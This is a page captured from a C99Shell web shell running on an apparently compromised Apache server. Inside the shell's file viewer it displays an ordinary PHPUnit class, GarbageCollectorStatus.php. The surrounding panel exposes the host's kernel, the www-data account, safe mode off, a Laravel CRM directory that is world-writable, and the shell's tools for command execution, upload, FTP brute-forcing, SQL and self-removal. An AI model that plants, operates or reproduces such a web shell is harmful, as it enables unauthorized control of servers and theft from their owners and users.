!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/phpunit/phpunit/src/Event/Value/Telemetry/   drwxrwxrwx
Free 13.13 GB of 57.97 GB (22.65%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     GarbageCollectorStatus.php (4.66 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php declare(strict_types=1);
/*
 * This file is part of PHPUnit.
 *
 * (c) Sebastian Bergmann <sebastian@phpunit.de>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace PHPUnit\Event\Telemetry;

use 
PHPUnit\Event\RuntimeException;

/**
 * @psalm-immutable
 *
 * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit
 */
final class GarbageCollectorStatus
{
    private 
readonly int $runs;
    private 
readonly int $collected;
    private 
readonly int $threshold;
    private 
readonly int $roots;
    private 
readonly ?float $applicationTime;
    private 
readonly ?float $collectorTime;
    private 
readonly ?float $destructorTime;
    private 
readonly ?float $freeTime;
    private 
readonly ?bool $running;
    private 
readonly ?bool $protected;
    private 
readonly ?bool $full;
    private 
readonly ?int $bufferSize;

    public function 
__construct(int $runsint $collectedint $thresholdint $roots, ?float $applicationTime, ?float $collectorTime, ?float $destructorTime, ?float $freeTime, ?bool $running, ?bool $protected, ?bool $full, ?int $bufferSize)
    {
        
$this->runs            $runs;
        
$this->collected       $collected;
        
$this->threshold       $threshold;
        
$this->roots           $roots;
        
$this->applicationTime $applicationTime;
        
$this->collectorTime   $collectorTime;
        
$this->destructorTime  $destructorTime;
        
$this->freeTime        $freeTime;
        
$this->running         $running;
        
$this->protected       $protected;
        
$this->full            $full;
        
$this->bufferSize      $bufferSize;
    }

    public function 
runs(): int
    
{
        return 
$this->runs;
    }

    public function 
collected(): int
    
{
        return 
$this->collected;
    }

    public function 
threshold(): int
    
{
        return 
$this->threshold;
    }

    public function 
roots(): int
    
{
        return 
$this->roots;
    }

    
/**
     * @psalm-assert-if-true !null $this->applicationTime
     * @psalm-assert-if-true !null $this->collectorTime
     * @psalm-assert-if-true !null $this->destructorTime
     * @psalm-assert-if-true !null $this->freeTime
     * @psalm-assert-if-true !null $this->running
     * @psalm-assert-if-true !null $this->protected
     * @psalm-assert-if-true !null $this->full
     * @psalm-assert-if-true !null $this->bufferSize
     */
    
public function hasExtendedInformation(): bool
    
{
        return 
$this->running !== null;
    }

    
/**
     * @throws RuntimeException on PHP < 8.3
     */
    
public function applicationTime(): float
    
{
        if (
$this->applicationTime === null) {
            throw new 
RuntimeException('Information not available');
        }

        return 
$this->applicationTime;
    }

    
/**
     * @throws RuntimeException on PHP < 8.3
     */
    
public function collectorTime(): float
    
{
        if (
$this->collectorTime === null) {
            throw new 
RuntimeException('Information not available');
        }

        return 
$this->collectorTime;
    }

    
/**
     * @throws RuntimeException on PHP < 8.3
     */
    
public function destructorTime(): float
    
{
        if (
$this->destructorTime === null) {
            throw new 
RuntimeException('Information not available');
        }

        return 
$this->destructorTime;
    }

    
/**
     * @throws RuntimeException on PHP < 8.3
     */
    
public function freeTime(): float
    
{
        if (
$this->freeTime === null) {
            throw new 
RuntimeException('Information not available');
        }

        return 
$this->freeTime;
    }

    
/**
     * @throws RuntimeException on PHP < 8.3
     */
    
public function isRunning(): bool
    
{
        if (
$this->running === null) {
            throw new 
RuntimeException('Information not available');
        }

        return 
$this->running;
    }

    
/**
     * @throws RuntimeException on PHP < 8.3
     */
    
public function isProtected(): bool
    
{
        if (
$this->protected === null) {
            throw new 
RuntimeException('Information not available');
        }

        return 
$this->protected;
    }

    
/**
     * @throws RuntimeException on PHP < 8.3
     */
    
public function isFull(): bool
    
{
        if (
$this->full === null) {
            throw new 
RuntimeException('Information not available');
        }

        return 
$this->full;
    }

    
/**
     * @throws RuntimeException on PHP < 8.3
     */
    
public function bufferSize(): int
    
{
        if (
$this->bufferSize === null) {
            throw new 
RuntimeException('Information not available');
        }

        return 
$this->bufferSize;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0056 ]--